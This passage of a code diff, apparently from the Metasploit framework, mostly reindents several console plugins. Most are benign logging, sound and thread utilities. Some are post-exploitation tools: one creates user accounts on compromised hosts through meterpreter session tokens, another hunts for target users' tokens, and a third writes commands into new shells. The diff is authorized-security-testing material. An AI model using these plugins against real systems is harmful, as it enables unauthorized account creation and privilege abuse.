- "PcapLog" - end + def name + "PcapLog" + end - def commands - { - "pcap_filter" => "Set/Get a BPF-style packet filter", - "pcap_dir" => "Set/Get a directory to log pcaps to", - "pcap_prefix" => "Set/Get a filename prefix to log pcaps to", - "pcap_iface" => "Set/Get an interface to capture from", - "pcap_start" => "Start a capture", - "pcap_stop" => "Stop a running capture", + def commands + { + "pcap_filter" => "Set/Get a BPF-style packet filter", + "pcap_dir" => "Set/Get a directory to log pcaps to", + "pcap_prefix" => "Set/Get a filename prefix to log pcaps to", + "pcap_iface" => "Set/Get an interface to capture from", + "pcap_start" => "Start a capture", + "pcap_stop" => "Stop a running capture", - "pcap_show_config" => "Show the current PcapLog configuration" - } - end + "pcap_show_config" => "Show the current PcapLog configuration" + } + end - def cmd_pcap_filter(*args) - @filter = args.join(' ') || @filter - print_line "#{self.name} BPF filter: #{@filter}" - end + def cmd_pcap_filter(*args) + @filter = args.join(' ') || @filter + print_line "#{self.name} BPF filter: #{@filter}" + end - def cmd_pcap_prefix(*args) - @prefix = args[0] || @prefix || "msf3-session" - print_line "#{self.name} prefix: #{@prefix}" - end + def cmd_pcap_prefix(*args) + @prefix = args[0] || @prefix || "msf3-session" + print_line "#{self.name} prefix: #{@prefix}" + end - def cmd_pcap_dir(*args) - @dir = args[0] || @dir || "/tmp" - print_line "#{self.name} Directory: #{@dir}" - end + def cmd_pcap_dir(*args) + @dir = args[0] || @dir || "/tmp" + print_line "#{self.name} Directory: #{@dir}" + end - def cmd_pcap_iface(*args) - @iface = args[0] || @iface - print_line "#{self.name} Interface: #{@iface}" - end + def cmd_pcap_iface(*args) + @iface = args[0] || @iface + print_line "#{self.name} Interface: #{@iface}" + end - def cmd_pcap_start(*args) + def cmd_pcap_start(*args) - unless @pcaprub_loaded - print_error("Pcap module not available") - return false - end + unless @pcaprub_loaded + print_error("Pcap module not available") + return false + end - if @capture_thread && @capture_thread.alive? - print_error "Capture already started." - return false - end + if @capture_thread && @capture_thread.alive? + print_error "Capture already started." + return false + end - gen_fname - print_line "Starting packet capture from #{@iface} to #{@fname}" - okay,msg = validate_options - unless okay - print_error msg - return false - end - dev = (@iface || ::Pcap.lookupdev) - @capture_file.write(PCAP_FILE_HEADER) - @capture_file.flush - @pcap = ::Pcap.open_live(dev, 65535, true, 1) - @pcap.setfilter(@filter) if @filter - @capture_thread = Thread.new { - @pcap.each do |pkt| - @capture_file.write(convert_to_pcap(pkt)) - @capture_file.flush - end - } - end + gen_fname + print_line "Starting packet capture from #{@iface} to #{@fname}" + okay,msg = validate_options + unless okay + print_error msg + return false + end + dev = (@iface || ::Pcap.lookupdev) + @capture_file.write(PCAP_FILE_HEADER) + @capture_file.flush + @pcap = ::Pcap.open_live(dev, 65535, true, 1) + @pcap.setfilter(@filter) if @filter + @capture_thread = Thread.new { + @pcap.each do |pkt| + @capture_file.write(convert_to_pcap(pkt)) + @capture_file.flush + end + } + end - def cmd_pcap_stop(*args) - if @capture_thread && @capture_thread.alive? - print_line "Stopping packet capture from #{@iface} to #{@fname}" - print_line "Capture Stats: #{@pcap.stats.inspect}" - @pcap = nil - @capture_file.close if @capture_file.respond_to? :close - @capture_thread.kill - @capture_thread = nil - else - print_error "No capture running." - end - end + def cmd_pcap_stop(*args) + if @capture_thread && @capture_thread.alive? + print_line "Stopping packet capture from #{@iface} to #{@fname}" + print_line "Capture Stats: #{@pcap.stats.inspect}" + @pcap = nil + @capture_file.close if @capture_file.respond_to? :close + @capture_thread.kill + @capture_thread = nil + else + print_error "No capture running." + end + end - def convert_to_pcap(packet) - t = Time.now - sz = packet.size - [t.to_i, t.usec, sz, sz, packet].pack("V4A*") - end + def convert_to_pcap(packet) + t = Time.now + sz = packet.size + [t.to_i, t.usec, sz, sz, packet].pack("V4A*") + end - def gen_fname - t = Time.now - file_part = "%s_%04d-%02d-%02d_%02d-%02d-%02d.pcap" % [ - @prefix, t.year, t.month, t.mday, t.hour, t.min, t.sec - ] - @fname = File.join(@dir, file_part) - end + def gen_fname + t = Time.now + file_part = "%s_%04d-%02d-%02d_%02d-%02d-%02d.pcap" % [ + @prefix, t.year, t.month, t.mday, t.hour, t.min, t.sec + ] + @fname = File.join(@dir, file_part) + end - # Check for euid 0 and check for a valid place to write files - def validate_options + # Check for euid 0 and check for a valid place to write files + def validate_options - # Check for root. - unless Process.euid.zero? - msg = "You must run as root in order to capture packets." - return [false, msg] - end + # Check for root. + unless Process.euid.zero? + msg = "You must run as root in order to capture packets." + return [false, msg] + end - # Check directory suitability. - unless File.directory? @dir - msg = "Invalid pcap directory specified: '#{@dir}'" - return [false, msg] - end + # Check directory suitability. + unless File.directory? @dir + msg = "Invalid pcap directory specified: '#{@dir}'" + return [false, msg] + end - unless File.writable? @dir - msg = "No write permission to directory: '#{@dir}'" - return [false, msg] - end + unless File.writable? @dir + msg = "No write permission to directory: '#{@dir}'" + return [false, msg] + end - @capture_file = File.open(@fname, "ab") - unless File.writable? @fname - msg = "Cannot write to file: '#{@fname}'" - return [false, msg] - end + @capture_file = File.open(@fname, "ab") + unless File.writable? @fname + msg = "Cannot write to file: '#{@fname}'" + return [false, msg] + end - # If you got this far, you're golden. - msg = "We're good!" - return [true, msg] - end + # If you got this far, you're golden. + msg = "We're good!" + return [true, msg] + end - # Need to pretend to have a datastore for Exploit::Capture to - # function. - def datastore - {} - end + # Need to pretend to have a datastore for Exploit::Capture to + # function. + def datastore + {} + end - def initialize(*args) - super - @dir = File.join(Msf::Config.config_directory, 'logs') - @prefix = "msf3-session" - @filter = nil - @pcaprub_loaded = false - begin - require 'pcaprub' - @pcaprub_loaded = true - @iface = ::Pcap.lookupdev - rescue ::Exception => e - print_error "#{e.class}: #{e}" - @pcaprub_loaded = false - @pcaprub_error = e - end - end + def initialize(*args) + super + @dir = File.join(Msf::Config.config_directory, 'logs') + @prefix = "msf3-session" + @filter = nil + @pcaprub_loaded = false + begin + require 'pcaprub' + @pcaprub_loaded = true + @iface = ::Pcap.lookupdev + rescue ::Exception => e + print_error "#{e.class}: #{e}" + @pcaprub_loaded = false + @pcaprub_error = e + end + end - end + end - def initialize(framework, opts) - super - add_console_dispatcher(PcapLogDispatcher) - print_status "PcapLog plugin loaded." - end + def initialize(framework, opts) + super + add_console_dispatcher(PcapLogDispatcher) + print_status "PcapLog plugin loaded." + end - # Kill the background thread - def cleanup - @capture_thread.kill if @capture_thread && @capture_thread.alive? - @capture_file.close if @capture_file.respond_to? :close - remove_console_dispatcher('PcapLog') - end + # Kill the background thread + def cleanup + @capture_thread.kill if @capture_thread && @capture_thread.alive? + @capture_file.close if @capture_file.respond_to? :close + remove_console_dispatcher('PcapLog') + end - def name - "pcap_log" - end + def name + "pcap_log" + end - def desc - "Logs all socket operations to pcaps (in /tmp by default)" - end + def desc + "Logs all socket operations to pcaps (in /tmp by default)" + end end end diff --git a/plugins/sample.rb b/plugins/sample.rb index d5121d2a67..7627c65844 100644 --- a/plugins/sample.rb +++ b/plugins/sample.rb @@ -15,81 +15,81 @@ module Msf ### class Plugin::Sample < Msf::Plugin - ### - # - # This class implements a sample console command dispatcher. - # - ### - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + ### + # + # This class implements a sample console command dispatcher. + # + ### + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - # - # The dispatcher's name. - # - def name - "Sample" - end + # + # The dispatcher's name. + # + def name + "Sample" + end - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "sample" => "A sample command added by the sample plugin" - } - end + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "sample" => "A sample command added by the sample plugin" + } + end - # - # This method handles the sample command. - # - def cmd_sample(*args) - print_line("You passed: #{args.join(' ')}") - end - end + # + # This method handles the sample command. + # + def cmd_sample(*args) + print_line("You passed: #{args.join(' ')}") + end + end - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - def initialize(framework, opts) - super + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + def initialize(framework, opts) + super - # If this plugin is being loaded in the context of a console application - # that uses the framework's console user interface driver, register - # console dispatcher commands. - add_console_dispatcher(ConsoleCommandDispatcher) + # If this plugin is being loaded in the context of a console application + # that uses the framework's console user interface driver, register + # console dispatcher commands. + add_console_dispatcher(ConsoleCommandDispatcher) - print_status("Sample plugin loaded.") - end + print_status("Sample plugin loaded.") + end - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('Sample') - end + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('Sample') + end - # - # This method returns a short, friendly name for the plugin. - # - def name - "sample" - end + # + # This method returns a short, friendly name for the plugin. + # + def name + "sample" + end - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Demonstrates using framework plugins" - end + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Demonstrates using framework plugins" + end protected end diff --git a/plugins/session_tagger.rb b/plugins/session_tagger.rb index 66d93ec6fa..92a40162b9 100644 --- a/plugins/session_tagger.rb +++ b/plugins/session_tagger.rb @@ -15,43 +15,43 @@ module Msf class Plugin::SessionTagger < Msf::Plugin - include Msf::SessionEvent + include Msf::SessionEvent - def on_session_open(session) - print_status("Hooked session #{session.sid} / #{session.session_host}") + def on_session_open(session) + print_status("Hooked session #{session.sid} / #{session.session_host}") - # XXX: Determine what type of session this is before writing to it + # XXX: Determine what type of session this is before writing to it - if (session.interactive?) - session.shell_write("MKDIR C:\\TaggedBy#{ENV['USER']}\n") - session.shell_write("mkdir /tmp/TaggedBy#{ENV['USER']}\n") - end + if (session.interactive?) + session.shell_write("MKDIR C:\\TaggedBy#{ENV['USER']}\n") + session.shell_write("mkdir /tmp/TaggedBy#{ENV['USER']}\n") + end - # - # Read output with session.shell_read() - # - end + # + # Read output with session.shell_read() + # + end - def on_session_close(session,reason='') - print_status("Hooked session #{session.sid} is shutting down") - end + def on_session_close(session,reason='') + print_status("Hooked session #{session.sid} is shutting down") + end - def initialize(framework, opts) - super - self.framework.events.add_session_subscriber(self) - end + def initialize(framework, opts) + super + self.framework.events.add_session_subscriber(self) + end - def cleanup - self.framework.events.remove_session_subscriber(self) - end + def cleanup + self.framework.events.remove_session_subscriber(self) + end - def name - "session_tagger" - end + def name + "session_tagger" + end - def desc - "Automatically interacts with new sessions" - end + def desc + "Automatically interacts with new sessions" + end end end diff --git a/plugins/socket_logger.rb b/plugins/socket_logger.rb index 277aae5b2e..3666f334ee 100644 --- a/plugins/socket_logger.rb +++ b/plugins/socket_logger.rb @@ -13,55 +13,55 @@ module Msf class Plugin::SocketLogger < Msf::Plugin - ### - # - # This class implements a socket communication logger - # - ### - class MySocketEventHandler - include Rex::Socket::Comm::Events + ### + # + # This class implements a socket communication logger + # + ### + class MySocketEventHandler + include Rex::Socket::Comm::Events - def initialize(path, prefix) - @path = path - @prefix = prefix - end + def initialize(path, prefix) + @path = path + @prefix = prefix + end - def on_before_socket_create(comm, param) - end + def on_before_socket_create(comm, param) + end - def on_socket_created(comm, sock, param) - # Sockets created by the exploit have MsfExploit set and MsfPayload not set - if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) - sock.extend(SocketLogger::SocketTracer) - sock.context = param.context - sock.params = param - sock.initlog(@path, @prefix) + def on_socket_created(comm, sock, param) + # Sockets created by the exploit have MsfExploit set and MsfPayload not set + if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) + sock.extend(SocketLogger::SocketTracer) + sock.context = param.context + sock.params = param + sock.initlog(@path, @prefix) - end - end - end + end + end + end - def initialize(framework, opts) - log_path = opts['path'] || "/tmp" - log_prefix = opts['prefix'] || "socket_" + def initialize(framework, opts) + log_path = opts['path'] || "/tmp" + log_prefix = opts['prefix'] || "socket_" - super - @eh = MySocketEventHandler.new(log_path, log_prefix) - Rex::Socket::Comm::Local.register_event_handler(@eh) - end + super + @eh = MySocketEventHandler.new(log_path, log_prefix) + Rex::Socket::Comm::Local.register_event_handler(@eh) + end - def cleanup - Rex::Socket::Comm::Local.deregister_event_handler(@eh) - end + def cleanup + Rex::Socket::Comm::Local.deregister_event_handler(@eh) + end - def name - "socket_logger" - end + def name + "socket_logger" + end - def desc - "Logs all socket operations to hex dumps in /tmp" - end + def desc + "Logs all socket operations to hex dumps in /tmp" + end protected end @@ -72,41 +72,41 @@ end module SocketLogger module SocketTracer - @@last_id = 0 + @@last_id = 0 - attr_accessor :context, :params + attr_accessor :context, :params - # Hook the write method - def write(buf, opts = {}) - @fd.puts "WRITE (#{buf.length} bytes)" - @fd.puts Rex::Text.to_hex_dump(buf) - super(buf, opts) - end + # Hook the write method + def write(buf, opts = {}) + @fd.puts "WRITE (#{buf.length} bytes)" + @fd.puts Rex::Text.to_hex_dump(buf) + super(buf, opts) + end - # Hook the read method - def read(length = nil, opts = {}) - r = super(length, opts) + # Hook the read method + def read(length = nil, opts = {}) + r = super(length, opts) - @fd.puts "READ (#{r.length} bytes)" - @fd.puts Rex::Text.to_hex_dump(r) - return r - end + @fd.puts "READ (#{r.length} bytes)" + @fd.puts Rex::Text.to_hex_dump(r) + return r + end - def close(*args) - super(*args) - @fd.close - end + def close(*args) + super(*args) + @fd.close + end - def initlog(path, prefix) - @log_path = path - @log_prefix = prefix - @log_id = @@last_id - @@last_id += 1 - @fd = File.open(File.join(@log_path, "#{@log_prefix}#{@log_id}.log"), "w") - @fd.puts "Socket created at #{Time.now}" - @fd.puts "Info: #{params.proto} #{params.localhost}:#{params.localport} -> #{params.peerhost}:#{params.peerport}" - @fd.puts "" - end + def initlog(path, prefix) + @log_path = path + @log_prefix = prefix + @log_id = @@last_id + @@last_id += 1 + @fd = File.open(File.join(@log_path, "#{@log_prefix}#{@log_id}.log"), "w") + @fd.puts "Socket created at #{Time.now}" + @fd.puts "Info: #{params.proto} #{params.localhost}:#{params.localport} -> #{params.peerhost}:#{params.peerport}" + @fd.puts "" + end end end diff --git a/plugins/sounds.rb b/plugins/sounds.rb index 53a7c99c32..88a9aff754 100644 --- a/plugins/sounds.rb +++ b/plugins/sounds.rb @@ -14,88 +14,88 @@ module Msf class Plugin::EventSounds < Msf::Plugin - attr_accessor :theme, :base, :queue, :queue_thread + attr_accessor :theme, :base, :queue, :queue_thread - include Msf::SessionEvent + include Msf::SessionEvent - def play_sound(event) - self.queue.push(event) - end + def play_sound(event) + self.queue.push(event) + end - def on_session_open(session) - event = 'session_open_' + session.type - play_sound(event) - end + def on_session_open(session) + event = 'session_open_' + session.type + play_sound(event) + end - def on_session_close(session, reason='') - sid = session.sid.to_s - play_sound('session') - sid.unpack("C*").each do |c| - play_sound("num" + [c].pack("C")) - end - play_sound('closed') - end + def on_session_close(session, reason='') + sid = session.sid.to_s + play_sound('session') + sid.unpack("C*").each do |c| + play_sound("num" + [c].pack("C")) + end + play_sound('closed') + end - def on_plugin_load - play_sound('plugin_load') - end + def on_plugin_load + play_sound('plugin_load') + end - def on_plugin_unload - play_sound('plugin_unload') - end + def on_plugin_unload + play_sound('plugin_unload') + end - def start_sound_queue - self.queue_thread = Thread.new do - begin - while(true) - while(event = self.queue.shift) - path = ::File.join(self.base, self.theme, "#{event}.wav") - if(::File.exists?(path)) - Rex::Compat.play_sound(path) - else - print_status("Warning: sound file not found: #{path}") - end - end - select(nil, nil, nil, 0.25) - end - rescue ::Exception => e - print_status("Sound plugin: fatal error #{e} #{e.backtrace}") - end - end - end + def start_sound_queue + self.queue_thread = Thread.new do + begin + while(true) + while(event = self.queue.shift) + path = ::File.join(self.base, self.theme, "#{event}.wav") + if(::File.exists?(path)) + Rex::Compat.play_sound(path) + else + print_status("Warning: sound file not found: #{path}") + end + end + select(nil, nil, nil, 0.25) + end + rescue ::Exception => e + print_status("Sound plugin: fatal error #{e} #{e.backtrace}") + end + end + end - def stop_sound_queue - self.queue_thread.kill if self.queue_thread - self.queue_thread = nil - self.queue = [] - end + def stop_sound_queue + self.queue_thread.kill if self.queue_thread + self.queue_thread = nil + self.queue = [] + end - def initialize(framework, opts) - super + def initialize(framework, opts) + super - self.queue = [] - self.theme = opts['theme'] || 'default' - self.base = File.join(Msf::Config.install_root, "data", "sounds") - self.framework.events.add_session_subscriber(self) - start_sound_queue + self.queue = [] + self.theme = opts['theme'] || 'default' + self.base = File.join(Msf::Config.install_root, "data", "sounds") + self.framework.events.add_session_subscriber(self) + start_sound_queue - self.on_plugin_load - end + self.on_plugin_load + end - def cleanup - self.on_plugin_unload - self.framework.events.remove_session_subscriber(self) - stop_sound_queue - end + def cleanup + self.on_plugin_unload + self.framework.events.remove_session_subscriber(self) + stop_sound_queue + end - def name - "sounds" - end + def name + "sounds" + end - def desc - "Automatically plays a sound when various framework events occur" - end + def desc + "Automatically plays a sound when various framework events occur" + end end end diff --git a/plugins/thread.rb b/plugins/thread.rb index abf329a89e..bcc9e47036 100644 --- a/plugins/thread.rb +++ b/plugins/thread.rb @@ -15,121 +15,121 @@ module Msf ### class Plugin::ThreadTest < Msf::Plugin - ### - # - # This class implements a sample console command dispatcher. - # - ### - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + ### + # + # This class implements a sample console command dispatcher. + # + ### + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - # - # The dispatcher's name. - # - def name - "ThreadTest" - end + # + # The dispatcher's name. + # + def name + "ThreadTest" + end - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "start_thread" => "Start a background thread that writes to the console", - "stop_thread" => "Stop a background thread", - "list_thread" => "List running threads" - } - end + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "start_thread" => "Start a background thread that writes to the console", + "stop_thread" => "Stop a background thread", + "list_thread" => "List running threads" + } + end - def cmd_start_thread(*args) - if (@mythread) - print_line("Test thread is already running") - return - end + def cmd_start_thread(*args) + if (@mythread) + print_line("Test thread is already running") + return + end - @mythread = ::Thread.new { - while(true) - print_line("--- test thread ---") - select(nil, nil, nil, 5) - end - } - print_line("Test thread created") - end + @mythread = ::Thread.new { + while(true) + print_line("--- test thread ---") + select(nil, nil, nil, 5) + end + } + print_line("Test thread created") + end - def cmd_stop_thread(*args) - if (! @mythread) - print_line("No test thread is running") - return - end + def cmd_stop_thread(*args) + if (! @mythread) + print_line("No test thread is running") + return + end - @mythread.kill - @mythread = nil - print_line("Test thread stopped") - end + @mythread.kill + @mythread = nil + print_line("Test thread stopped") + end - def cmd_list_thread(*args) - Thread.list.each do |t| - print_line(sprintf("Thread: 0x%.8x (%s/%d) (%s)", t.object_id, t.status, t.priority, t.tsource)) - print_line("") - end - end - end + def cmd_list_thread(*args) + Thread.list.each do |t| + print_line(sprintf("Thread: 0x%.8x (%s/%d) (%s)", t.object_id, t.status, t.priority, t.tsource)) + print_line("") + end + end + end - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - def initialize(framework, opts) - super + # + # The constructor is called when an instance of the plugin is created. The + # framework instance that the plugin is being associated with is passed in + # the framework parameter. Plugins should call the parent constructor when + # inheriting from Msf::Plugin to ensure that the framework attribute on + # their instance gets set. + # + def initialize(framework, opts) + super - # If this plugin is being loaded in the context of a console application - # that uses the framework's console user interface driver, register - # console dispatcher commands. - add_console_dispatcher(ConsoleCommandDispatcher) + # If this plugin is being loaded in the context of a console application + # that uses the framework's console user interface driver, register + # console dispatcher commands. + add_console_dispatcher(ConsoleCommandDispatcher) - # Extend the thread to track the calling source - Thread.class_eval(" - attr_accessor :tsource + # Extend the thread to track the calling source + Thread.class_eval(" + attr_accessor :tsource - alias initialize_old initialize + alias initialize_old initialize - def initialize(&block) - self.tsource = caller(1) - initialize_old(&block) - end - ") + def initialize(&block) + self.tsource = caller(1) + initialize_old(&block) + end + ") - print_status("ThreadTest plugin loaded.") - end + print_status("ThreadTest plugin loaded.") + end - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('ThreadTest') - end + # + # The cleanup routine for plugins gives them a chance to undo any actions + # they may have done to the framework. For instance, if a console + # dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('ThreadTest') + end - # - # This method returns a short, friendly name for the plugin. - # - def name - "threadtest" - end + # + # This method returns a short, friendly name for the plugin. + # + def name + "threadtest" + end - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Thread testing plugin" - end + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Thread testing plugin" + end protected end diff --git a/plugins/token_adduser.rb b/plugins/token_adduser.rb index b3cd13e046..8fa48d8f8d 100644 --- a/plugins/token_adduser.rb +++ b/plugins/token_adduser.rb @@ -15,103 +15,103 @@ module Msf class Plugin::TokenAdduser < Msf::Plugin - class TokenCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + class TokenCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - def name - "Token Adduser" - end + def name + "Token Adduser" + end - def commands - { - 'token_adduser' => "Attempt to add an account using all connected meterpreter session tokens" - } - end + def commands + { + 'token_adduser' => "Attempt to add an account using all connected meterpreter session tokens" + } + end - def cmd_token_adduser(*args) + def cmd_token_adduser(*args) - opts = Rex::Parser::Arguments.new( - "-h" => [ true, "Add account to host"], - ) + opts = Rex::Parser::Arguments.new( + "-h" => [ true, "Add account to host"], + ) - # This is ugly. - if (args.length == 0) - print_line("Usage: token_adduser [options] <username> <password>") - print_line(opts.usage) - return - end - - opt_user_pass = [] - username = nil - password = nil - host = nil - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - host = val + # This is ugly. + if (args.length == 0) + print_line("Usage: token_adduser [options] <username> <password>") + print_line(opts.usage) + return + end + + opt_user_pass = [] + username = nil + password = nil + host = nil + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + host = val - else - # Excuse my weak ruby skills. I'm sure there's a better way to get username and password - # from the args. - opt_user_pass << val - end - end + else + # Excuse my weak ruby skills. I'm sure there's a better way to get username and password + # from the args. + opt_user_pass << val + end + end - # Again, I'm sure there's a better way to do this. - username = opt_user_pass[0] - password = opt_user_pass[1] + # Again, I'm sure there's a better way to do this. + username = opt_user_pass[0] + password = opt_user_pass[1] - tokens_del = {} - tokens_imp = {} + tokens_del = {} + tokens_imp = {} - framework.sessions.each_key do |sid| - session = framework.sessions[sid] - next unless session.type == "meterpreter" + framework.sessions.each_key do |sid| + session = framework.sessions[sid] + next unless session.type == "meterpreter" - print_status(">> Opening session #{session.sid} / #{session.session_host}") + print_status(">> Opening session #{session.sid} / #{session.session_host}") - unless session.incognito - session.core.use("incognito") - end + unless session.incognito + session.core.use("incognito") + end - unless session.incognito - print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") - next - end - #print "DEBUG #{username} #{password}\n" - res = session.incognito.incognito_add_user(host,username,password) - if(res) - print "#{res}\n" + unless session.incognito + print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") + next + end + #print "DEBUG #{username} #{password}\n" + res = session.incognito.incognito_add_user(host,username,password) + if(res) + print "#{res}\n" - # Currently only stops on success if a user is trying to be added to a specific - # host. I can't think of a good reason to stop on success (or even make it an option) - # when trying to add a user to local sessions. - if (host) - if res =~ /\[\+\] Successfully|\[\-\] Password does not meet complexity requirements|\[\-\] User already exists/ - break - end - end - end - end - end - end + # Currently only stops on success if a user is trying to be added to a specific + # host. I can't think of a good reason to stop on success (or even make it an option) + # when trying to add a user to local sessions. + if (host) + if res =~ /\[\+\] Successfully|\[\-\] Password does not meet complexity requirements|\[\-\] User already exists/ + break + end + end + end + end + end + end - def initialize(framework, opts) - super - add_console_dispatcher(TokenCommandDispatcher) - end + def initialize(framework, opts) + super + add_console_dispatcher(TokenCommandDispatcher) + end - def cleanup - remove_console_dispatcher('Token Adduser') - end + def cleanup + remove_console_dispatcher('Token Adduser') + end - def name - "token_adduser" - end + def name + "token_adduser" + end - def desc - "Attempt to add an account using all connected meterpreter session tokens" - end + def desc + "Attempt to add an account using all connected meterpreter session tokens" + end end end diff --git a/plugins/token_hunter.rb b/plugins/token_hunter.rb index 04dcff00c9..19fde03660 100644 --- a/plugins/token_hunter.rb +++ b/plugins/token_hunter.rb @@ -7,147 +7,147 @@ module Msf class Plugin::TokenHunter < Msf::Plugin - class TokenCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + class TokenCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - def name - "Token Hunter" - end + def name + "Token Hunter" + end - def commands - { - 'token_hunt_user' => "Scan all connected meterpreter sessions for active tokens corresponding to one or more users" - } - end + def commands + { + 'token_hunt_user' => "Scan all connected meterpreter sessions for active tokens corresponding to one or more users" + } + end - def cmd_token_hunt_user(*args) + def cmd_token_hunt_user(*args) - opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-f" => [ true, "A file containing a list of users to search for (one per line)"] - ) + opts = Rex::Parser::Arguments.new( + "-h" => [ false, "This help menu"], + "-f" => [ true, "A file containing a list of users to search for (one per line)"] + ) - opt_userfile = nil - opt_users = [] + opt_userfile = nil + opt_users = [] - opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line("Usage: token_hunt_user [options] <username> [username] .. [username]") - print_line(opts.usage) - return - when "-f" - opt_userfile = val - else - opt_users << val - end - end + opts.parse(args) do |opt, idx, val| + case opt + when "-h" + print_line("Usage: token_hunt_user [options] <username> [username] .. [username]") + print_line(opts.usage) + return + when "-f" + opt_userfile = val + else + opt_users << val + end + end - if(opt_userfile) - ::File.open(opt_userfile, "rb") do |fd| - fd.each_line do |line| - line.strip! - next if line.empty? - next if line =~ /^#/ - opt_users << line - end - end - end + if(opt_userfile) + ::File.open(opt_userfile, "rb") do |fd| + fd.each_line do |line| + line.strip! + next if line.empty? + next if line =~ /^#/ + opt_users << line + end + end + end - opt_users.uniq! + opt_users.uniq! - tokens_del = {} - tokens_imp = {} + tokens_del = {} + tokens_imp = {} - framework.sessions.each_key do |sid| - session = framework.sessions[sid] - next if session.type != "meterpreter" + framework.sessions.each_key do |sid| + session = framework.sessions[sid] + next if session.type != "meterpreter" - print_status(">> Scanning session #{session.sid} / #{session.session_host}") + print_status(">> Scanning session #{session.sid} / #{session.session_host}") - if(! session.incognito) - session.core.use("incognito") - end + if(! session.incognito) + session.core.use("incognito") + end - if(! session.incognito) - print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") - next - end + if(! session.incognito) + print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") + next + end - res = session.incognito.incognito_list_tokens(0) - if(res) - res["delegation"].split("\n").each do |user| + res = session.incognito.incognito_list_tokens(0) + if(res) + res["delegation"].split("\n").each do |user| - opt_users.each do |needle| + opt_users.each do |needle| - ndom,nusr = needle.split("\\") - if(not nusr) - nusr = ndom - ndom = nil - end + ndom,nusr = needle.split("\\") + if(not nusr) + nusr = ndom + ndom = nil + end - if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) - print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") - next - end + if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) + print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") + next + end - fdom,fusr = user.split("\\") + fdom,fusr = user.split("\\") - if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) - print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") - end - end + if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) + print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)") + end + end - tokens_del[user] ||= [] - tokens_del[user] << session.sid - end + tokens_del[user] ||= [] + tokens_del[user] << session.sid + end - res["impersonation"].split("\n").each do |user| + res["impersonation"].split("\n").each do |user| - opt_users.each do |needle| - ndom,nusr = needle.split("\\") - if(not nusr) - nusr = ndom - ndom = nil - end + opt_users.each do |needle| + ndom,nusr = needle.split("\\") + if(not nusr) + nusr = ndom + ndom = nil + end - if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) - print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") - next - end + if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase) + print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") + next + end - fdom,fusr = user.split("\\") - if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) - print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") - end - end + fdom,fusr = user.split("\\") + if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase) + print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)") + end + end - tokens_imp[user] ||= [] - tokens_imp[user] << session.sid - end - end - end - end - end + tokens_imp[user] ||= [] + tokens_imp[user] << session.sid + end + end + end + end + end - def initialize(framework, opts) - super - 